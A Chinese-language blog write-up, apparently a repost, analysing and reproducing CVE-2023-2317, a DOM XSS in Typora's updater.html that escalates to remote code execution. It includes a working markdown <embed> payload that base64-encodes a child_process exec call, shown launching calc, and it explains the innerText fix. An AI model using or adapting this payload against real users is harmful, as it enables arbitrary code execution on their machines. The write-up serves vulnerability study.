『漏洞复现』Typora 远程代码执行漏洞复现分析

admin 2023年12月18日13:41:10评论21 views字数 4013阅读13分22秒阅读模式

点击蓝字 关注我们



日期:2023-12-12

作者:Obsidian

介绍:Typora远程代码执行漏洞(CVE-2023-2317)的复现与分析。


0x01 写在前面

Typora在某些特定版本中,存在基于DOMXSS漏洞,允许特定的markdown文件通过在<embed>标签中加载typora://app/typemark/updater/updater.html文件,在Typora主窗口的上下文中运行任意的JavaScript代码,从而导致远程代码执行漏洞。

该漏洞公开于 2023-08-19,又是一个迟来的漏洞分析。

『漏洞复现』Typora 远程代码执行漏洞复现分析

漏洞影响版本:

Typora < 1.6.7

漏洞环境搭建:

Typora的官网历史版本中,可下载安装低于1.6.7的版本,例如:

https://download2.typoraio.cn/windows/typora-setup-x64-1.5.12.exe

0x02 写在中间

要进行远程命令执行,首先要分析基于DOMXSS漏洞。

根据漏洞点,找到对应的文件Typoraresourcesupdaterupdater.html,以下为精简代码:

<script type="text/javascript">var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);document.querySelectorAll("[data-label]").forEach(function(dom){ dom.innerHTML = labels[dom.getAttribute("data-label") - 0];});document.querySelector("#release-panel").src = releaseNoteLink;</script>

分析代码之前,先来一段名词解释。

解释
window.location.search 从问号 (?) 开始的 URL(查询部分)
exec 用于在字符串中执行正则表达式搜索,并返回匹配的结果
decodeURIComponent 进行URI解码
JSON.parse 将数据转换为 JavaScript 对象,常用于json或数组等
querySelector 用于查询页面中第一个符合规则的元素
querySelectorAll 用于查询页面中所有符合规则的元素
innerText 更改文本内容(不包含html标签)(实体化)
innerHTML 允许更改html元素的内容

接下来,逐句分析代码。首先前五行,分别通过GET方式,获取了五个参数,curVersion、newVersion、releaseNoteLink、hideAutoUpdates、labels

var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

之后将labels的第五个和第六个元素,经过一系列的字符处理后,插入到当前页面中,由此可知labels是至少六个元素的数组。

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);

接下来将labels中的元素,按顺序插入到当前页面中。

『漏洞复现』Typora 远程代码执行漏洞复现分析

也就是图中的0 1 2 3的标签,由此,我们可以构造如下请求:

updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=1&labels=["11","22","33","44","55","66"]

通过JSON.parse将传入的labels参数的值,转换为了数组,最终结果如下:

『漏洞复现』Typora 远程代码执行漏洞复现分析

由于在对data-label标签内容进行处理时,采用的是innerHTML,所以会存在XSS漏洞,漏洞点位置在labels参数的前四个元素中的任意一个均可。

document.querySelectorAll("[data-label]").forEach(function(dom){  dom.innerHTML = labels[dom.getAttribute("data-label") - 0];});

构造如下payload

updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=1&labels=["<svg/onload=alert()>","22","33","44","55","66"]

『漏洞复现』Typora 远程代码执行漏洞复现分析

可以看到成功弹窗✌️,至此,基于DOMXSS漏洞分析完成。

下面需要通过特定的方式,在Typora主窗口中加载updater.html

Typora主窗口通过Shift + F12按键,可打开控制台,可发现使用了typora://协议来访问文件。

『漏洞复现』Typora 远程代码执行漏洞复现分析

其中 typora://app/typemark/lib.asar对应的路径是Typoraresourceslib.asar

那么Typoraresourcesupdaterupdater.html对应的链接就是typora://app/typemark/updater/updater.html

通过embed标签,嵌入html文件,构造payload如下:

<embed src="typora://app/typemark/updater/updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=false&labels=[%22%3csvg%2fonload=alert()%3e%22,%22%22,%22%22,%22%22,%22%22,%22%22]">

『漏洞复现』Typora 远程代码执行漏洞复现分析

成功弹窗✌️,下一步就是通过加载模块,进行命令执行,例如:

require('child_process')

但是通过尝试发现,Typora使用了reqnode来替换了require函数。

『漏洞复现』Typora 远程代码执行漏洞复现分析

或者可通过document.defaultView来查找相关信息。

『漏洞复现』Typora 远程代码执行漏洞复现分析

那么构造一个最简单的payloadreqnode('child_process').exec('calc'),避免特殊符号的影响,进行base64编码cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ==,之后通atob函数解码后,采用top.eval进行执行,payload如下:

<embed src="typora://app/typemark/updater/updater.html?curVersion=1&newVersion=1&releaseNoteLink=1&hideAutoUpdates=false&labels=[%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ=='))%3e%22,%22%22,%22%22,%22%22,%22%22,%22%22]">

『漏洞复现』Typora 远程代码执行漏洞复现分析

成功触发计算器✌️。

0x03 写在后面

综合来看,该漏洞的切入点就在于innerHTML,官方更新后的修补方案,也是将innerHTML替换为了innerText进行处理。漏洞整体用到的技术并不十分高深,但是层层递进的逻辑还是非常巧妙的。

『漏洞复现』Typora 远程代码执行漏洞复现分析


参考资料

https://starlabs.sg/advisories/23/23-2317/


原文始发于微信公众号(宸极实验室):『漏洞复现』Typora 远程代码执行漏洞复现分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日13:41:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』Typora 远程代码执行漏洞复现分析https://cn-sec.com/archives/2291268.html

发表评论

匿名网友 填写信息